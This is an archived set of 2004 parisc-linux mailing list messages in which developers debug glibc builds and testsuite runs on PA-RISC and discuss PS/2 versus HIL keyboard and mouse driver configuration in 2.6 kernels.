\ /    No HTML/RTF in email
 X     No Word docs in email
/ \  Respect for open standards


From - Thu Nov 08 21:31:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08,
	fixes GLRO changes.
Date: Sun, 14 Mar 2004 14:40:04 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <20040314194004.GF24266@baldric.uwo.ca>
References: <20040312164116.GI24266@baldric.uwo.ca>
	<404EC1C600002B98@ocpmta1.freegates.net>
	<20040312212012.GS24266@baldric.uwo.ca>
	<40535A0A.4020209@tiscali.be>
	<20040314193237.GE24266@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623267 6571 80.91.229.3 (22 Nov 2014 02:27:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Sun Mar 14 12:42:32 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAA3548BA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 12:42:32 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B2bSv-00074O-00; Sun, 14 Mar 2004 14:40:05 -0500
Content-Disposition: inline
In-Reply-To: <20040314193237.GE24266@baldric.uwo.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (16% Sync Ratio [==........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 19:42:33 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21075

On Sun, Mar 14, 2004 at 02:32:37PM -0500, Carlos O'Donell wrote:
> > No pb if gdb don't segv (but iirc that only appened with gcc-3.5) and if 
> > lucky I could also garb a bt :).
> > 
> > Btw in previous test, I noticed that IAOQ was for instance =0x41007293 when 
> > gdb shows me the actual address of the crash at '0x41007293 - 3' and I find 
> > well the corresponding code at  7290 in an 'objdump -d'. Do you know why 
> > this diff of 3?
> 
> Instructions can only start at addresses that are modulo 32-bits, gdb is
> returning the start address of the insn that executed. While IAOQ is
> showing that the insn has finished (e.g. pointing at the last byte 0 1 2
> 3).

Sorry, I'm smoking crack.

Address OR Privilege = IAOQ

Privilege Kernel = 0
Privilege User   = 3 

c.




From - Thu Nov 08 21:31:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3: a warning with gcc-3.3 become an
	error with gcc-3.5
Date: Sun, 14 Mar 2004 19:44:09 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <4054B609.30802@tiscali.be>
References: <20040301193815.GG21769@baldric.uwo.ca>
	<402A4CA50000D57D@ocpmta2.freegates.net>
	<20040302195050.GE19402@baldric.uwo.ca>
	<404A4D34.1000106@tiscali.be> <20040306225740.GH963@baldric.uwo.ca>
	<40548691.7090300@tiscali.be>
	<20040314192646.GD24266@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623267 6574 80.91.229.3 (22 Nov 2014 02:27:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Sun Mar 14 12:42:45 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by dsl2.external.hp.com (Postfix) with ESMTP id A32F948BA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 12:42:45 -0700 (MST)
Original-Received: from [62.235.122.168] (port=33409 helo=tiscali.be)
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1B2bVU-0000RP-ES; Sun, 14 Mar 2004 20:42:44 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040312 Debian/1.6-3
X-Accept-Language: en
In-Reply-To: <20040314192646.GD24266@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 19:42:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21076



Carlos O'Donell wrote:
> On Sun, Mar 14, 2004 at 04:21:37PM +0000, Joel Soete wrote:
> 
>>it compiles well with gcc-3.3.
>>I hope it will not break anything :)
> 
> 
> Hope?? What does the testsuite for glibc say?
> 
Right now I reach to build glibc completely (with just a warning less ;) )
This c110 is unfortunately too slow to let me complete the make -k check now, I will so continue tomorrow ;)

Regards,
	Joel


From - Thu Nov 08 21:31:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Sun, 14 Mar 2004 20:48:27 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <200403142048.27506.deller@gmx.de>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<200403091103.29310.deller@gmx.de>
	<20040314073706.GA28440@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623267 6577 80.91.229.3 (22 Nov 2014 02:27:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:47 +0000 (UTC)
Cc: Martin Schulze <joey@infodrom.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sun Mar 14 12:48:30 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 83C9748BA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 12:48:29 -0700 (MST)
Original-Received: (qmail 15752 invoked by uid 65534); 14 Mar 2004 19:48:28 -0000
Original-Received: from pD90407BE.dip.t-dialin.net (EHLO p100) (217.4.7.190)
	by mail.gmx.net (mp013) with SMTP; 14 Mar 2004 20:48:28 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <20040314073706.GA28440@finlandia.infodrom.north.de>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 19:48:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21077

On Sunday 14 March 2004 08:37, Martin Schulze wrote:
> > In the latest 2.6 kernel series, we switched from a parisc-only
> > PS/2 mouse/keyboard driver to the standard linux kernel PS/2
> > mouse keyboard drivers.
> 
> Makes sense.  However, would it be useful to add this to the config
> help texts?  Same for the dependency of a HIL mouse to the MOUSE_PS2,
> if HIL always takes PS/2 mice.  I know this is not the case in general,
> since my 425 uses HIL but doesn't use PS/2, but then again, it's m68k
> and not parisc.  However, it may be the case on PA-RISC, I don't know.
> In that case it may make sense to rearrange the ordering and move
> MOUSE_HIL up so it can pre-select MOUSE_PS2.
> 
> Anyway, here's a short improvement for the MOUSE_PS2 help text:
> 
> --- Kconfig.orig	Sun Mar 14 08:27:51 2004
> +++ Kconfig	Sun Mar 14 08:31:18 2004
> @@ -22,7 +22,8 @@
>  	  Say Y here if you have a PS/2 mouse connected to your system. This
>  	  includes the standard 2 or 3-button PS/2 mouse, as well as PS/2
>  	  mice with wheels and extra buttons, Microsoft, Logitech or Genius
> -	  compatible.
> +	  compatible. This also includes a PS/2 mouse connected to your HIL
> +	  hub on PA-RISC.
>  
>  	  Synaptics TouchPad users might be interested in a specialized
>  	  XFree86 driver at:

Hi Joey

I don't know if this makes sense to be too verbose here....
"...a PS/2 mouse connected to your system..." looks pretty ok, independed
if it is connected to a HIL hub or not.

Helge


From - Thu Nov 08 21:31:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Sun, 14 Mar 2004 20:55:12 +0100
Lines: 111
Approved: news@gmane.org
Message-ID: <200403142055.12668.deller@gmx.de>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<Pine.LNX.4.58.0403141509130.14547@sal.ucc.ie>
	<20040314181256.GA9104@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623268 6582 80.91.229.3 (22 Nov 2014 02:27:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:48 +0000 (UTC)
Cc: Martin Schulze <joey@infodrom.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sun Mar 14 12:55:25 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 861D648BA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 12:55:24 -0700 (MST)
Original-Received: (qmail 6704 invoked by uid 65534); 14 Mar 2004 19:55:22 -0000
Original-Received: from pD90407BE.dip.t-dialin.net (EHLO p100) (217.4.7.190)
	by mail.gmx.net (mp009) with SMTP; 14 Mar 2004 20:55:22 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <20040314181256.GA9104@finlandia.infodrom.north.de>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 19:55:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21078

On Sunday 14 March 2004 19:12, Martin Schulze wrote:
> > > For what it's worth, these settings don't activate my keyboard,
> > > but... tadam...  the mouse is recognised, finally.  

Cool.

> > > However, if 
> > > I have to choose to use either keyboard or mouse, I'd choose the
> > > keyboard.

Of course.

> > > CONFIG_INPUT_KEYBOARD=y
> > > CONFIG_KEYBOARD_ATKBD=y
> > > # CONFIG_KEYBOARD_SUNKBD is not set
> > > # CONFIG_KEYBOARD_XTKBD is not set
> > > # CONFIG_KEYBOARD_NEWTON is not set
> > > CONFIG_KEYBOARD_HIL=y
> > 
> > Why do you include HIL keyboard support?
> 
> Because the keyboad is connected to a HIL hub and it's also a
> reminiscent of the time before I learned that the keyboard and mouse
> are not handled entirely separate anymore.  I still have to strip some
> config options from the configuration.

I think the main question here is which type of keyboard you have.
Either it's a HIL keyboard (with the special HIL connector), or it's a 
PS/2 keyboard.
My 715/64 for example has a HIL HUB too, and here the mouse and
keyboard are 100% HIL only devices.
AFAIK, there are other HIL Hubs too, which provides original PS/2
ports and HIL ports. So, which kind of connector does your keyboard has ?

> > > CONFIG_INPUT_MOUSE=y
> > > CONFIG_MOUSE_PS2=y
> > > CONFIG_MOUSE_SERIAL=y
> > 
> > do you need serial mouse support?
> 
> Well, at one time I tried to fix the mouse problem by connecting a
> serial mouse to ttyS0/ttyS1 but it didn't work either, even though a
> getty on that port worked and I could log in, hence the port works at
> least and is supported in the kernel.

Serial mice should work. I didn't tested it for some time now, but if
it's broken I would like to know.

> > > CONFIG_MOUSE_HIL=y
> > 
> > and why do you include HIL mouse support?
> 
> Same as above, because the mouse is connected to a HIL hub and it's a
> reminiscent from the time before I learned that the keyboard and mouse
> are not handled entirely separate anymore for parisc.
> 
> > > Any idea how to get the keyboard detected again?
> > > (This is a 725/100)
> > 
> > I don't know the 725, but from what I understand it uses (GSC) PS/2, so you
> > attach keyboard and mouse directly, without any converters. Is that correct?
> 
> No it isn't.  That's the case for 712, not this one.  There's a HIL
> hub where I can connect one keyboard, one mouse and another HIL hub.
> The case doesn't have any PS/2 socket.

Ok. So your keyboard seem to be a HIL keyboard ?
But it's strange, that your PS/2 mouse works then... I'm confused.

> > If this is the cause, get rid of all HIL drivers and use PS/2 exclusively.
> > I think using a combination of HIL and PS/2 drivers might cause some
> > sort of driver confusion in your case.
> 
> Might well be.  I'm still working on stripping the stuff and testing
> various combinations.

Ok.
> > > If it helps to provide more information, please let me know and I'll
> > > dig them out.
> > >
> > >  	  Say Y here if you have a PS/2 mouse connected to your system. This
> > >  	  includes the standard 2 or 3-button PS/2 mouse, as well as PS/2
> > >  	  mice with wheels and extra buttons, Microsoft, Logitech or Genius
> > > -	  compatible.
> > > +	  compatible. This also includes a PS/2 mouse connected to your HIL
> > > +	  hub on PA-RISC.
> > 
> > I'm confused here!
> >
> > AFAIK if you are using HIL, you ONLY have to use the HIL keyboard/mouse
> > drivers, PS/2 is a different thing and is not involved at all.
> > (I hope I don't say anything stupid here).
> 
> Aha.  I thought it was different.  Maybe I misread Helges mail.

I'm not sure right now about the status of the HIL keyboard/mouse driver, e.g.
if it works or not in the 2.6 kernel series...
 
> > So far I thought that you cannot attach a PS/2 mouse to a HIL adapter,
> > you can only attach HIL devices ... (at least this is the case for my 730)
> 
> Well, at least physically this is possible.  I haven't tried to use
> that combination, though, since I have the original mouse and
> keyboard as well.  However, I could give it a try once I find a
> working config combination.

Yes, please.

Regards,
Helge


From - Thu Nov 08 21:31:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08, fixes GLRO
	changes.
Date: Sun, 14 Mar 2004 19:59:56 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <4054B9BC.30309@tiscali.be>
References: <20040312164116.GI24266@baldric.uwo.ca>
	<404EC1C600002B98@ocpmta1.freegates.net>
	<20040312212012.GS24266@baldric.uwo.ca>
	<40535A0A.4020209@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623268 6584 80.91.229.3 (22 Nov 2014 02:27:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:48 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: soete.joel@tiscali.be  Sun Mar 14 12:58:36 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id E13BC48BA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 12:58:35 -0700 (MST)
Original-Received: from [62.235.122.168] (port=33414 helo=tiscali.be)
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1B2bkc-0002cb-NL; Sun, 14 Mar 2004 20:58:22 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040312 Debian/1.6-3
X-Accept-Language: en
In-Reply-To: <40535A0A.4020209@tiscali.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 19:58:36 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21079

Carlos,

I just noticed a border effect when I try to use James method: use prefix=/usr and make  install_root=/mnt/chroot install;

Joel Soete wrote:
> 
> 
> Carlos O'Donell wrote:
> 
>> On Fri, Mar 12, 2004 at 06:33:11PM +0100, Joel Soete wrote:
>>
>>> Hmmm all output files realted to Error1 was empty because of:
>>> hppa-linux-gcc -nostdlib -nostartfiles -o 
>>> /Develop/parisc-linux/build/glibc/posix/tst-regex
>>> -Wl,-dynamic-linker=/lib/ld.so.1
                         ^^^^^^^^^^^^

When I use the previous method (prefix=/mnt/chroot) it become :

-dynamic-linker=/mnt/chroot/lib/ld.so.1

So here I can drive make -k check without pb in basic env (the one in which I build the new glibc)

OTC with James' method I would have to do it in chroot /mnt/chroot env.
And it wasn't what I did; I will so restart build and test with prefix=/mnt/chroot (as I use to do) and advise you of the new 
results ;)

That's a way to lurn ;)

Joel


From - Thu Nov 08 21:31:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Morrison <ja2morri@csclub.uwaterloo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08,
	fixes GLRO changes.
Date: 14 Mar 2004 15:12:51 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <kfhad2j2nng.fsf@perpugilliam.csclub.uwaterloo.ca>
References: <20040312164116.GI24266@baldric.uwo.ca>
	<404EC1C600002B98@ocpmta1.freegates.net>
	<20040312212012.GS24266@baldric.uwo.ca> <40535A0A.4020209@tiscali.be>
	<4054B9BC.30309@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623268 6586 80.91.229.3 (22 Nov 2014 02:27:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:48 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: ja2morri@csclub.uwaterloo.ca  Sun Mar 14 13:12:53 2004
Return-Path: <ja2morri@csclub.uwaterloo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from perpugilliam.csclub.uwaterloo.ca
	(perpugilliam.csclub.uwaterloo.ca [129.97.134.31])
	by dsl2.external.hp.com (Postfix) with ESMTP id 143C648BA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 13:12:53 -0700 (MST)
Original-Received: by perpugilliam.csclub.uwaterloo.ca (Postfix, from userid 20178)
	id 0222510B4AD; Sun, 14 Mar 2004 15:12:51 -0500 (EST)
Original-Sender: ja2morri@perpugilliam.csclub.uwaterloo.ca
In-Reply-To: <4054B9BC.30309@tiscali.be>
Original-Lines: 22
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 20:12:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21080


C
Joel Soete <soete.joel@tiscali.be> writes:

> arlos,
> 
> I just noticed a border effect when I try to use James method: use prefix=/usr and make  install_root=/mnt/chroot install;
> 
> Joel Soete wrote:
> > Carlos O'Donell wrote:
> >
> >> On Fri, Mar 12, 2004 at 06:33:11PM +0100, Joel Soete wrote:
> >>
> >>> Hmmm all output files realted to Error1 was empty because of:
> >>> hppa-linux-gcc -nostdlib -nostartfiles -o
> >>> /Develop/parisc-linux/build/glibc/posix/tst-regex
> >>> -Wl,-dynamic-linker=/lib/ld.so.1
>                          ^^^^^^^^^^^^

 Are you running make check after make install?

Jim


From - Thu Nov 08 21:31:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@infodrom.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Sun, 14 Mar 2004 21:28:25 +0100
Lines: 98
Approved: news@gmane.org
Message-ID: <20040314202825.GF9104@finlandia.infodrom.north.de>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<Pine.LNX.4.58.0403141509130.14547@sal.ucc.ie>
	<20040314181256.GA9104@finlandia.infodrom.north.de>
	<200403142055.12668.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416623268 6589 80.91.229.3 (22 Nov 2014 02:27:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: joey@infodrom.org  Sun Mar 14 13:37:15 2004
Return-Path: <joey@infodrom.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from luonnotar.infodrom.org (luonnotar.infodrom.org [195.124.48.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id F417248BA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 13:37:14 -0700 (MST)
Original-Received: by luonnotar.infodrom.org (Postfix, from userid 10)
	id 9E441366B68; Sun, 14 Mar 2004 21:36:35 +0100 (CET)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from infodrom.org by finlandia.Infodrom.North.DE via smail from stdin
	id <m1B2cDh-000pzFC@finlandia.Infodrom.North.DE>
	for deller@gmx.de; Sun, 14 Mar 2004 21:28:25 +0100 (CET) 
Content-Disposition: inline
In-Reply-To: <200403142055.12668.deller@gmx.de>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 14 Mar 2004 20:37:15 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21081

Helge Deller wrote:
> On Sunday 14 March 2004 19:12, Martin Schulze wrote:
> > > > For what it's worth, these settings don't activate my keyboard,
> > > > but... tadam...  the mouse is recognised, finally.  
> 
> Cool.

Well, not anymore, but more on that later.

> > > > CONFIG_INPUT_KEYBOARD=y
> > > > CONFIG_KEYBOARD_ATKBD=y
> > > > # CONFIG_KEYBOARD_SUNKBD is not set
> > > > # CONFIG_KEYBOARD_XTKBD is not set
> > > > # CONFIG_KEYBOARD_NEWTON is not set
> > > > CONFIG_KEYBOARD_HIL=y
> > > 
> > > Why do you include HIL keyboard support?
> > 
> > Because the keyboad is connected to a HIL hub and it's also a
> > reminiscent of the time before I learned that the keyboard and mouse
> > are not handled entirely separate anymore.  I still have to strip some
> > config options from the configuration.
> 
> I think the main question here is which type of keyboard you have.
> Either it's a HIL keyboard (with the special HIL connector), or it's a 
> PS/2 keyboard.

It's HP A2840-60201 (according to the plate on the bottom).  It's
connected to a HIL hub with a PS/2 like connector.  The HIL hub is
connected to the machine with an RJ45 (like) connector.

The keyboard onlyworks with these three set:

CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
CONFIG_KEYBOARD_HIL=y

> My 715/64 for example has a HIL HUB too, and here the mouse and
> keyboard are 100% HIL only devices.

I can connect a regular PC PS/2 keyboard to the HIL hub and it'll
work.  I have an obscure PS/2 keyboard as well, which produces
'failure initializing keyboard' or something alike.  Now that I look
at the keyboard more closely, it's really a strange one, dunno where I
got *that* one from.  Anyway, regular PS/2 works fine.  HP keyboard
works fine as well.

> AFAIK, there are other HIL Hubs too, which provides original PS/2
> ports and HIL ports. So, which kind of connector does your keyboard has ?

Looks like I need to take picture.  Ah, found one:
<http://www.schrotthal.de/hp/hp_hil_ps2_hub.jpg> That's the HIL hub,
named HIL PS/2 hub, well.  I also have a very old HIL hub without PS/2
(like) jacks, but that's for an entirely different machine and
generation.

> Serial mice should work. I didn't tested it for some time now, but if
> it's broken I would like to know.

I'll have to retry that as well.

> Ok. So your keyboard seem to be a HIL keyboard ?

Since a regular PS/2 keyboard works as well, I guess it's a PS/2
keyboard actually.

> But it's strange, that your PS/2 mouse works then... I'm confused.

Don't be confused, it doesn't work anymore.

> I'm not sure right now about the status of the HIL keyboard/mouse driver, e.g.
> if it works or not in the 2.6 kernel series...

